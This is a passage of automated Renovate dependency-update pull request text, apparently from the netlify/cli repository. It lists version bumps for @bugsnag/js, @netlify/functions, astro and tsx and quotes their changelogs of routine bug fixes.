[#15997](https://redirect.github.com/withastro/astro/pull/15997) [`1fddff7`](https://redirect.github.com/withastro/astro/commit/1fddff7ae6510812f04e62c77eea9de6fbc76f57) Thanks [@ematipico](https://redirect.github.com/ematipico)! - Fixes `Astro.rewrite()` failing when the target path contains duplicate slashes (e.g. `//about`). The duplicate slashes are now collapsed before URL parsing, preventing them from being interpreted as a protocol-relative URL. ### [`v6.0.7`](https://redirect.github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#607) [Compare Source](https://redirect.github.com/withastro/astro/compare/astro@6.0.6...astro@6.0.7) ##### Patch Changes - [#15950](https://redirect.github.com/withastro/astro/pull/15950) [`acce5e8`](https://redirect.github.com/withastro/astro/commit/acce5e84046f1f459a8f37686cf6054e2243f5ad) Thanks [@matthewp](https://redirect.github.com/matthewp)! - Fixes a build regression in projects with multiple frontend integrations where `server:defer` server islands could fail at runtime when all pages are prerendered. - [#15988](https://redirect.github.com/withastro/astro/pull/15988) [`c93b4a0`](https://redirect.github.com/withastro/astro/commit/c93b4a02fdf3b477d1668a8576f23d4526f25d87) Thanks [@ossaidqadri](https://redirect.github.com/ossaidqadri)! - Fix styles from dynamically imported components not being injected on first dev server load. - [#15968](https://redirect.github.com/withastro/astro/pull/15968) [`3e7a9d5`](https://redirect.github.com/withastro/astro/commit/3e7a9d5fe07ef17057ede6f6f443f47e11905701) Thanks [@chasemccoy](https://redirect.github.com/chasemccoy)! - Fixes `renderMarkdown` in custom content loaders not resolving images in markdown content. Images referenced in markdown processed by `renderMarkdown` are now correctly optimized, matching the behavior of the built-in `glob()` loader. - [#15990](https://redirect.github.com/withastro/astro/pull/15990) [`1e6017f`](https://redirect.github.com/withastro/astro/commit/1e6017ffdfa11ccb5f5de33a0b8b57096c76e675) Thanks [@ematipico](https://redirect.github.com/ematipico)! - Fixes an issue where `Astro.currentLocale` would always be the default locale instead of the actual one when using a dynamic route like `[locale].astro` or `[locale]/index.astro`. It now resolves to the correct locale from the URL. - [#15990](https://redirect.github.com/withastro/astro/pull/15990) [`1e6017f`](https://redirect.github.com/withastro/astro/commit/1e6017ffdfa11ccb5f5de33a0b8b57096c76e675) Thanks [@ematipico](https://redirect.github.com/ematipico)! - Fixes an issue where visiting an invalid locale URL (e.g. `/asdf/`) would show the content of a dynamic `[locale]` page with a 404 status code, instead of showing your custom 404 page. Now, the correct 404 page is rendered when the locale in the URL doesn't match any configured locale. - [#15960](https://redirect.github.com/withastro/astro/pull/15960) [`1d84020`](https://redirect.github.com/withastro/astro/commit/1d840201c63f2b0dae91f5b4894afe25fc5d23ad) Thanks [@matthewp](https://redirect.github.com/matthewp)! - Fixes Cloudflare dev server islands with `prerenderEnvironment: 'node'` by sharing the serialized manifest encryption key across dev environments and routing server island requests through the SSR runtime. - [#15735](https://redirect.github.com/withastro/astro/pull/15735) [`9685e2d`](https://redirect.github.com/withastro/astro/commit/9685e2d5ef132ca113144c1714163511a93fd29e) Thanks [@fa-sharp](https://redirect.github.com/fa-sharp)! - Fixes an EventEmitter memory leak when serving static pages from Node.js middleware. When using the middleware handler, requests that were being passed on to Express / Fastify (e.g. static files / pre-rendered pages / etc.) weren't cleaning up socket listeners before calling `next()`, causing a memory leak warning. This fix makes sure to run the cleanup before calling `next()`. ### [`v6.0.6`](https://redirect.github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#606) [Compare Source](https://redirect.github.com/withastro/astro/compare/astro@6.0.5...astro@6.0.6) ##### Patch Changes - [#15965](https://redirect.github.com/withastro/astro/pull/15965) [`2dca307`](https://redirect.github.com/withastro/astro/commit/2dca3074ed3de24bd23d0a17fd10a168660b2ac1) Thanks [@matthewp](https://redirect.github.com/matthewp)! - Fixes client hydration for components imported through Node.js subpath imports (`package.json#imports`, e.g. `#components/*`), for example when using the Cloudflare adapter in development. - [#15770](https://redirect.github.com/withastro/astro/pull/15770) [`6102ca2`](https://redirect.github.com/withastro/astro/commit/6102ca2c16d5bf0ea621764351a33a99455fa0a0) Thanks [@jpc-ae](https://redirect.github.com/jpc-ae)! - Updates the `create astro` welcome message to highlight the graceful dev/preview server quit command rather than the kill process shortcut - [#15953](https://redirect.github.com/withastro/astro/pull/15953) [`7eddf22`](https://redirect.github.com/withastro/astro/commit/7eddf22cd4d4719d966ed7168e9890fac8fc29f5) Thanks [@Desel72](https://redirect.github.com/Desel72)! - fix(hmr): eagerly recompile on style-only change to prevent stale slots render - [#15916](https://redirect.github.com/withastro/astro/pull/15916) [`5201ed4`](https://redirect.github.com/withastro/astro/commit/5201ed464258e799a1e898f4c4adc84d7445bad3) Thanks [@trueberryless](https://redirect.github.com/trueberryless)! - Fixes `InferLoaderSchema` type inference for content collections defined with a loader that includes a `schema` - [#15864](https://redirect.github.com/withastro/astro/pull/15864) [`d3c7de9`](https://redirect.github.com/withastro/astro/commit/d3c7de9253e9cb31fa5c4bf9f4bdf59dd1ada7b0) Thanks [@florian-lefebvre](https://redirect.github.com/florian-lefebvre)! - Removes temporary support for Node >=20.19.1 because Stackblitz now uses Node 22 by default - [#15944](https://redirect.github.com/withastro/astro/pull/15944) [`a5e1acd`](https://redirect.github.com/withastro/astro/commit/a5e1acdebef4e061341eca24128667a3009a7048) Thanks [@fkatsuhiro](https://redirect.github.com/fkatsuhiro)! - Fixes SSR dynamic routes with `.html` extension (e.g. `[slug].html.astro`) not working - [#15937](https://redirect.github.com/withastro/astro/pull/15937) [`d236245`](https://redirect.github.com/withastro/astro/commit/d236245faf676082df6756654e504ad69e2e4d28) Thanks [@ematipico](https://redirect.github.com/ematipico)! - Fixes an issue where HMR didn't correctly work on Windows when adding/changing/deleting routes in `pages/`. - [#15931](https://redirect.github.com/withastro/astro/pull/15931) [`98dfb61`](https://redirect.github.com/withastro/astro/commit/98dfb61f963d70961dc2b28d786a6280f52603a1) Thanks [@Strernd](https://redirect.github.com/Strernd)! - Fix skew protection query params not being applied to island hydration `component-url` and `renderer-url`, and ensure query params are appended safely for asset URLs with existing search/hash parts. - Updated dependencies \[]: - [@astrojs/markdown-remark](https://redirect.github.com/astrojs/markdown-remark)@7.0.1 ### [`v6.0.5`](https://redirect.github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#605) [Compare Source](https://redirect.github.com/withastro/astro/compare/astro@6.0.4...astro@6.0.5) ##### Patch Changes - [#15891](https://redirect.github.com/withastro/astro/pull/15891) [`b889231`](https://redirect.github.com/withastro/astro/commit/b88923114e3cfe30c945680a62c7bd7f667bbf4d) Thanks [@matthewp](https://redirect.github.com/matthewp)! - Fix dev routing for `server:defer` islands when adapters opt into handling prerendered routes in Astro core. Server island requests are now treated as prerender-handler eligible so prerendered pages using `prerenderEnvironment: 'node'` can load island content without `400` errors. - [#15890](https://redirect.github.com/withastro/astro/pull/15890) [`765a887`](https://redirect.github.com/withastro/astro/commit/765a8871ed5fb30bb0211e2f8524bd97081acbca) Thanks [@matthewp](https://redirect.github.com/matthewp)! - Fixes `astro:actions` validation to check resolved routes, so projects using default static output with at least one `prerender = false` page or endpoint no longer fail during startup. - [#15884](https://redirect.github.com/withastro/astro/pull/15884) [`dcd2c8e`](https://redirect.github.com/withastro/astro/commit/dcd2c8e2df88ad81a027b49f6f9dcdba614f836a) Thanks [@matthewp](https://redirect.github.com/matthewp)! - Avoid a `MaxListenersExceededWarning` during `astro dev` startup by increasing the shared Vite watcher listener limit when attaching content server listeners. - [#15904](https://redirect.github.com/withastro/astro/pull/15904) [`23d5244`](https://redirect.github.com/withastro/astro/commit/23d5244361f9452c1d124600d2cc97aa3fe4a63c) Thanks [@jlukic](https://redirect.github.com/jlukic)! - Emit the `before-hydration` script chunk for the `client` Vite environment. The chunk was only emitted for `prerender` and `ssr` environments, causing a 404 when browsers tried to load it. This broke hydration for any integration using `injectScript('before-hydration', ...)`, including Lit SSR. - [#15933](https://redirect.github.com/withastro/astro/pull/15933) [`325901e`](https://redirect.github.com/withastro/astro/commit/325901e623462babd8d07ba7527e141e08ef1901) Thanks [@ematipico](https://redirect.github.com/ematipico)! - Fixes an issue where `<style>` tags inside SVG components weren't correctly tracked when enabling CSP. - [#15875](https://redirect.github.com/withastro/astro/pull/15875) [`c43ef8a`](https://redirect.github.com/withastro/astro/commit/c43ef8a565564770f022bd7cf9d2fcccf5949308) Thanks [@matthewp](https://redirect.github.com/matthewp)! - Ensure custom prerenderers are always torn down during build, even when `getStaticPaths()` throws. - [#15887](https://redirect.github.com/withastro/astro/pull/15887) [`1861fed`](https://redirect.github.com/withastro/astro/commit/1861fedef36394ff89604125b785aca073c0d35d) Thanks [@ematipico](https://redirect.github.com/ematipico)! - Fixes an issue where the build incorrectly leaked server entrypoint into the client environment, causing adapters to emit warnings during the build. - [#15888](https://redirect.github.com/withastro/astro/pull/15888) [`925252e`](https://redirect.github.com/withastro/astro/commit/925252e8c361a169d1f4dc1e3677b96b9e815dea) Thanks [@matthewp](https://redirect.github.com/matthewp)! - Fix a bug where `server:defer` could fail at runtime in prerendered pages for some adapters (including Cloudflare), causing errors like `serverIslandMap?.get is not a function`. - [#15901](https://redirect.github.com/withastro/astro/pull/15901) [`07c1002`](https://redirect.github.com/withastro/astro/commit/07c1002835f9bd91c9acaa82515254e4e11094d4) Thanks [@delucis](https://redirect.github.com/delucis)! - Fixes JSON schema generation for content collection schemas that have differences between their input and output shapes. - [#15882](https://redirect.github.com/withastro/astro/pull/15882) [`759f946`](https://redirect.github.com/withastro/astro/commit/759f9461bf8818380e3cc83a9bc1844c82a52c6d) Thanks [@matthewp](https://redirect.github.com/matthewp)! - Fix `Astro.url.pathname` for the root page when using `build.format: "file"` so it resolves to `/index.html` instead of `/.html` during builds. ### [`v6.0.4`](https://redirect.github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#604) [Compare Source](https://redirect.github.com/withastro/astro/compare/astro@6.0.3...astro@6.0.4) ##### Patch Changes - [#15870](https://redirect.github.com/withastro/astro/pull/15870) [`920f10b`](https://redirect.github.com/withastro/astro/commit/920f10bb3a49da8355967df99c32c43cc9f53b46) Thanks [@matthewp](https://redirect.github.com/matthewp)! - Prebundle `astro/toolbar` in dev when custom dev toolbar apps are registered, preventing re-optimization reloads that can hide or break the toolbar. - [#15876](https://redirect.github.com/withastro/astro/pull/15876) [`f47ac53`](https://redirect.github.com/withastro/astro/commit/f47ac5352dcb36daa64ec12b7d4ac193045d10e3) Thanks [@ematipico](https://redirect.github.com/ematipico)! - Fixes `redirectToDefaultLocale` producing a protocol-relative URL (`//locale`) instead of an absolute path (`/locale`) when `base` is `'/'`. - [#15767](https://redirect.github.com/withastro/astro/pull/15767) [`e0042f7`](https://redirect.github.com/withastro/astro/commit/e0042f720274d8763907c1d429723192a71d6932) Thanks [@matthewp](https://redirect.github.com/matthewp)! - Fixes server islands (`server:defer`) not working when only used in prerendered pages with `output: 'server'`. - [#15873](https://redirect.github.com/withastro/astro/pull/15873) [`35841ed`](https://redirect.github.com/withastro/astro/commit/35841ed273581a567cd726bb2d14d2ed3886bed0) Thanks [@matthewp](https://redirect.github.com/matthewp)! - Fix a dev server bug where newly created pages could miss layout-imported CSS until restart. - [#15874](https://redirect.github.com/withastro/astro/pull/15874) [`ce0669d`](https://redirect.github.com/withastro/astro/commit/ce0669d68115c5e2d00238f3e780a2af50f5be11) Thanks [@ematipico](https://redirect.github.com/ematipico)! - Fixes a warning when using `prefetchAll` - [#15754](https://redirect.github.com/withastro/astro/pull/15754) [`58f1d63`](https://redirect.github.com/withastro/astro/commit/58f1d63cbcdd351d80cc65ceff4cb1a8d1aa1853) Thanks [@rururux](https://redirect.github.com/rururux)! - Fixes a bug where a directory at the project root sharing the same name as a page route would cause the dev server to return a 404 instead of serving the page. - [#15869](https://redirect.github.com/withastro/astro/pull/15869) [`76b3a5e`](https://redirect.github.com/withastro/astro/commit/76b3a5e4bb1e9f2855d4169602295d601d7e7436) Thanks [@matthewp](https://redirect.github.com/matthewp)! - Update the unknown file extension error hint to recommend `vite.resolve.noExternal`, which is the correct Vite 7 config key. ### [`v6.0.3`](https://redirect.github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#603) [Compare Source](https://redirect.github.com/withastro/astro/compare/astro@6.0.2...astro@6.0.3) ##### Patch Changes - [#15711](https://redirect.github.com/withastro/astro/pull/15711) [`b2bd27b`](https://redirect.github.com/withastro/astro/commit/b2bd27bcb605d1e44e94ab922a8d7d2aa685149d) Thanks [@OliverSpeir](https://redirect.github.com/OliverSpeir)! - Improves Astro core's dev environment handling for prerendered routes by ensuring route/CSS updates and prerender middleware behavior work correctly across both SSR and prerender environments. This enables integrations that use Astro's prerender dev environment (such as Cloudflare with `prerenderEnvironment: 'node'`) to get consistent route matching and HMR behavior during development. - [#15852](https://redirect.github.com/withastro/astro/pull/15852) [`1cdaf9f`](https://redirect.github.com/withastro/astro/commit/1cdaf9f488e4db158db2c80ce192890b0b9bfa00) Thanks [@ematipico](https://redirect.github.com/ematipico)! - Fixes a regression where the the routes emitted by the `astro:build:done` hook didn't have the `distURL` array correctly populated. - [#15765](https://redirect.github.com/withastro/astro/pull/15765) [`ca76ff1`](https://redirect.github.com/withastro/astro/commit/ca76ff1dedafdc764f551e753e0772b54f807fa1) Thanks [@matthewp](https://redirect.github.com/matthewp)! - Hardens server island POST endpoint validation to use own-property checks for improved consistency ### [`v6.0.2`](https://redirect.github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#602) [Compare Source](https://redirect.github.com/withastro/astro/compare/astro@6.0.1...astro@6.0.2) ##### Patch Changes - [#15832](https://redirect.github.com/withastro/astro/pull/15832) [`95e12a2`](https://redirect.github.com/withastro/astro/commit/95e12a250ece206f55f8c0c07c9c05489f3df93f) Thanks [@Princesseuh](https://redirect.github.com/Princesseuh)! - Fixes `return;` syntax not working in the frontmatter correctly in certain contexts ### [`v6.0.1`](https://redirect.github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#601) [Compare Source](https://redirect.github.com/withastro/astro/compare/astro@6.0.0...astro@6.0.1) ##### Patch Changes - [#15827](https://redirect.github.com/withastro/astro/pull/15827) [`a4c0d0b`](https://redirect.github.com/withastro/astro/commit/a4c0d0b4df540b23fa85bf926f9cc97470737fa1) Thanks [@&#820 > ✂ **Note** > > PR body was truncated to here. </details> --- ### Configuration 📅 **Schedule**: (UTC) - Branch creation - "" - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/netlify/cli).  --------- Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> Co-authored-by: jared m <jared.mumaw@netlify.com>

> ℹ️ **Note** > > This PR body was truncated due to platform limits. This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [@bugsnag/js](https://www.bugsnag.com/) ([source](https://redirect.github.com/bugsnag/bugsnag-js)) | [`8.8.1` → `8.9.0`](https://renovatebot.com/diffs/npm/@bugsnag%2fjs/8.8.1/8.9.0) | ![age](https://developer.mend.io/api/mc/badges/age/npm/@bugsnag%2fjs/8.9.0?slim=true) | ![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@bugsnag%2fjs/8.8.1/8.9.0?slim=true) | | [@netlify/functions](https://redirect.github.com/netlify/primitives) ([source](https://redirect.github.com/netlify/primitives/tree/HEAD/packages/functions/prod)) | [`5.1.2` → `5.3.0`](https://renovatebot.com/diffs/npm/@netlify%2ffunctions/5.1.2/5.3.0) | ![age](https://developer.mend.io/api/mc/badges/age/npm/@netlify%2ffunctions/5.3.0?slim=true) | ![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@netlify%2ffunctions/5.1.2/5.3.0?slim=true) | | [astro](https://astro.build) ([source](https://redirect.github.com/withastro/astro/tree/HEAD/packages/astro)) | [`6.1.10` → `6.4.4`](https://renovatebot.com/diffs/npm/astro/6.1.10/6.4.4) | ![age](https://developer.mend.io/api/mc/badges/age/npm/astro/6.4.4?slim=true) | ![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/astro/6.1.10/6.4.4?slim=true) | | [tsx](https://tsx.hirok.io) ([source](https://redirect.github.com/privatenumber/tsx)) | [`4.21.0` → `4.22.4`](https://renovatebot.com/diffs/npm/tsx/4.21.0/4.22.4) | ![age](https://developer.mend.io/api/mc/badges/age/npm/tsx/4.22.4?slim=true) | ![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/tsx/4.21.0/4.22.4?slim=true) | --- ### Release Notes <details> <summary>bugsnag/bugsnag-js (@bugsnag/js)</summary> ### [`v8.9.0`](https://redirect.github.com/bugsnag/bugsnag-js/blob/HEAD/CHANGELOG.md#890---2026-04-08) [Compare Source](https://redirect.github.com/bugsnag/bugsnag-js/compare/v8.8.1...v8.9.0) ##### Fixed - (plugin-inline-script-content) Fix strict mode compatibility by replacing `arguments` usage with rest parameters [#2711](https://redirect.github.com/bugsnag/bugsnag-js/pull/2711) ##### Added - (delivery-react-native) Handle request and response parameters [#2667](https://redirect.github.com/bugsnag/bugsnag-js/pull/2667) ##### Changed - (plugin-inline-script-content) Add support for additional event target constructors including MediaSource, MediaRecorder, ServiceWorker, RTCPeerConnection, and others [#2700](https://redirect.github.com/bugsnag/bugsnag-js/pull/2700) - (plugin-network-instrumentation) Manually parse URLs to improve React Native compatibility [#2674](https://redirect.github.com/bugsnag/bugsnag-js/pull/2674) - (plugin-network-instrumentation) Refactor URL parsing to improve performance [#2667](https://redirect.github.com/bugsnag/bugsnag-js/pull/2667) ##### Fixed - (plugin-network-instrumentation) Report HTTP Errors as handled [#2662](https://redirect.github.com/bugsnag/bugsnag-js/pull/2662) - (plugin-network-instrumentation) Omit stacktraces from HTTP Error events [#2684](https://redirect.github.com/bugsnag/bugsnag-js/pull/2684) - (react-native) Report error cause with native stacktrace for Turbo Module exceptions \[[#2686](https://redirect.github.com/bugsnag/bugsnag-js/issues/2686)] ([#2686](https://redirect.github.com/bugsnag/bugsnag-js/pull/2686)) ##### Dependencies - Update [@bugsnag/cuid](https://redirect.github.com/bugsnag/cuid) to \[v3.2.1] (<https://github.com/bugsnag/cuid/releases/tag/v3.2.1>) [#2706](https://redirect.github.com/bugsnag/bugsnag-js/pull/2706) - Update bugsnag-cocoa to [v6.35.0](https//github.com/bugsnag/bugsnag-cocoa/releases/tag/v6.35.0) [#2663](https://redirect.github.com/bugsnag/bugsnag-js/pull/2663) - Update bugsnag-android to [v6.22.0](https//github.com/bugsnag/bugsnag-android/releases/tag/v6.22.0) [#2656](https://redirect.github.com/bugsnag/bugsnag-js/pull/2656) - Update bugsnag-android to [v6.23.0](https//github.com/bugsnag/bugsnag-android/releases/tag/v6.23.0) [#2673](https://redirect.github.com/bugsnag/bugsnag-js/pull/2673) - Update bugsnag-android to [v6.25.0](https//github.com/bugsnag/bugsnag-android/releases/tag/v6.25.0) [#2689](https://redirect.github.com/bugsnag/bugsnag-js/pull/2689) - Update bugsnag-cocoa to [v6.36.0](https//github.com/bugsnag/bugsnag-cocoa/releases/tag/v6.36.0) [#2707](https://redirect.github.com/bugsnag/bugsnag-js/pull/2707) </details> <details> <summary>netlify/primitives (@netlify/functions)</summary> ### [`v5.3.0`](https://redirect.github.com/netlify/primitives/blob/HEAD/packages/functions/prod/CHANGELOG.md#530-2026-05-29) [Compare Source](https://redirect.github.com/netlify/primitives/compare/d91ee47fc3ee294f42734f9f3767572c3b0cab8d...f1238cdc364d4f3a5e516d20830fcb15142df507) ##### Features - add function config properties ([#696](https://redirect.github.com/netlify/primitives/issues/696)) ([e43cd8f](https://redirect.github.com/netlify/primitives/commit/e43cd8f132ec7d5c4517c29cb7c6dbe9dbd5b6b7)) ##### Dependencies - The following workspace dependencies were updated - dependencies - [@netlify/types](https://redirect.github.com/netlify/types) bumped from 2.7.0 to 2.8.0 ### [`v5.2.2`](https://redirect.github.com/netlify/primitives/blob/HEAD/packages/functions/prod/CHANGELOG.md#522-2026-05-18) [Compare Source](https://redirect.github.com/netlify/primitives/compare/2941cca584b654d49be601705261bafe3507b83c...d91ee47fc3ee294f42734f9f3767572c3b0cab8d) ##### Dependencies - The following workspace dependencies were updated - dependencies - [@netlify/types](https://redirect.github.com/netlify/types) bumped from 2.6.0 to 2.7.0 ### [`v5.2.1`](https://redirect.github.com/netlify/primitives/blob/HEAD/packages/functions/prod/CHANGELOG.md#521-2026-05-12) [Compare Source](https://redirect.github.com/netlify/primitives/compare/7f49a5375fa0b816cb1ebeed3dc22c8a379d370e...2941cca584b654d49be601705261bafe3507b83c) ##### Bug Fixes - update readme badges to point to current repo ([#594](https://redirect.github.com/netlify/primitives/issues/594)) ([0e05d46](https://redirect.github.com/netlify/primitives/commit/0e05d46b645b66d20d01e824fe5b82a121b491a2)) ### [`v5.2.0`](https://redirect.github.com/netlify/primitives/blob/HEAD/packages/functions/prod/CHANGELOG.md#520-2026-04-07) [Compare Source](https://redirect.github.com/netlify/primitives/compare/96166d833512601a06ae9f011df16fb60d266b1f...7f49a5375fa0b816cb1ebeed3dc22c8a379d370e) ##### Features - export event handler types ([#638](https://redirect.github.com/netlify/primitives/issues/638)) ([f651309](https://redirect.github.com/netlify/primitives/commit/f6513092153a50f55b71d073c2a32b9e5eb704cb)) ### [`v5.1.5`](https://redirect.github.com/netlify/primitives/blob/HEAD/packages/functions/prod/CHANGELOG.md#515-2026-03-19) [Compare Source](https://redirect.github.com/netlify/primitives/compare/cafb003cc37a43c6afc9aa0358015c90ae9a6794...96166d833512601a06ae9f011df16fb60d266b1f) ##### Dependencies - The following workspace dependencies were updated - dependencies - [@netlify/types](https://redirect.github.com/netlify/types) bumped from 2.5.0 to 2.6.0 ### [`v5.1.4`](https://redirect.github.com/netlify/primitives/blob/HEAD/packages/functions/prod/CHANGELOG.md#514-2026-03-18) [Compare Source](https://redirect.github.com/netlify/primitives/compare/180c8943fd125b539fececb123b54e3886197de2...cafb003cc37a43c6afc9aa0358015c90ae9a6794) ##### Dependencies - The following workspace dependencies were updated - dependencies - [@netlify/types](https://redirect.github.com/netlify/types) bumped from 2.4.0 to 2.5.0 ### [`v5.1.3`](https://redirect.github.com/netlify/primitives/blob/HEAD/packages/functions/prod/CHANGELOG.md#513-2026-03-12) [Compare Source](https://redirect.github.com/netlify/primitives/compare/51826f45a5ec33a6178b5621d11e00d92f6fdac1...180c8943fd125b539fececb123b54e3886197de2) ##### Dependencies - The following workspace dependencies were updated - dependencies - [@netlify/types](https://redirect.github.com/netlify/types) bumped from 2.3.0 to 2.4.0 </details> <details> <summary>withastro/astro (astro)</summary> ### [`v6.4.4`](https://redirect.github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#644) [Compare Source](https://redirect.github.com/withastro/astro/compare/astro@6.4.3...astro@6.4.4) ##### Patch Changes - [#16926](https://redirect.github.com/withastro/astro/pull/16926) [`1b39ae8`](https://redirect.github.com/withastro/astro/commit/1b39ae8485406937501d8a734afe2a464d671064) Thanks [@narendraio](https://redirect.github.com/narendraio)! - Prevents `App.match()` from throwing on request paths that contain an invalid percent-sequence. - [#16924](https://redirect.github.com/withastro/astro/pull/16924) [`2c0bc94`](https://redirect.github.com/withastro/astro/commit/2c0bc943d96d602b429ce3ecbb379d01a46903b5) Thanks [@astrobot-houston](https://redirect.github.com/astrobot-houston)! - Fixes an issue where editing a client-side component (e.g. with `client:idle`, `client:load`, etc.) caused an unnecessary full program reload of the backend during development. - [#16958](https://redirect.github.com/withastro/astro/pull/16958) [`2c1d50f`](https://redirect.github.com/withastro/astro/commit/2c1d50f5f9d557d7cdc17fd75f3a10fd203699c9) Thanks [@fkatsuhiro](https://redirect.github.com/fkatsuhiro)! - Fixes a bug where static file endpoints using `getStaticPaths` with `.html` in dynamic param values (e.g. `{ path: 'file.html' }`) would fail with a `NoMatchingStaticPathFound` error during build. The `.html` suffix is no longer incorrectly stripped from endpoint route pathnames. - [#16855](https://redirect.github.com/withastro/astro/pull/16855) 